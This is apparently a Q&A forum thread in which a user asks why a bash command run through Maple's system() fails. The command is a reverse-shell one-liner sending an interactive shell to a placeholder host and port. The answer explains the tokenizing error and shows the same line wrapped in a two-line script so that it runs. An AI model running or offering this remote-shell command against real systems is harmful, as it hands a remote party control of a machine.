bash: &: No such file or directory

1.3k views Asked by At

I am running the following command from maple (the function system works just like functions such as os.system from python):

system("bash -i>& /dev/tcp/myownip/myport 0>&1 2>&1")

However, it fails and this is the output:

bash: no job control in this shell bash: &: No such file or directory
Exit Value: 127

The weird thing is that the command works great when calling it from Terminal...

Any suggestions of how I could fix this?

1

There are 1 answers

6
user1934428 On

"No job control" means that you can't bring background jobs into the foreground when running an interactive shell.

I would focus the analysis on the wording of the second error message. We know from it that bash is running. My guess is that Maple (not knowing the meaning of the > WORD construct in bash) tokenizes the string along the white space, and then does something like execv("bash", "bash", "-i>0", "/dev/tcp/myownip/myport"). At least this would explain the error message.

Could you try the following? Create a stand-alone two-line bash script like this:

#!/usr/bin/bash
bash -i>& /dev/tcp/myownip/myport 0>&1 2>&1

Set it to executable, and then invoke it from Maple with

system("yourpath/yourscript")

At least the error message No such file or directory should be gone.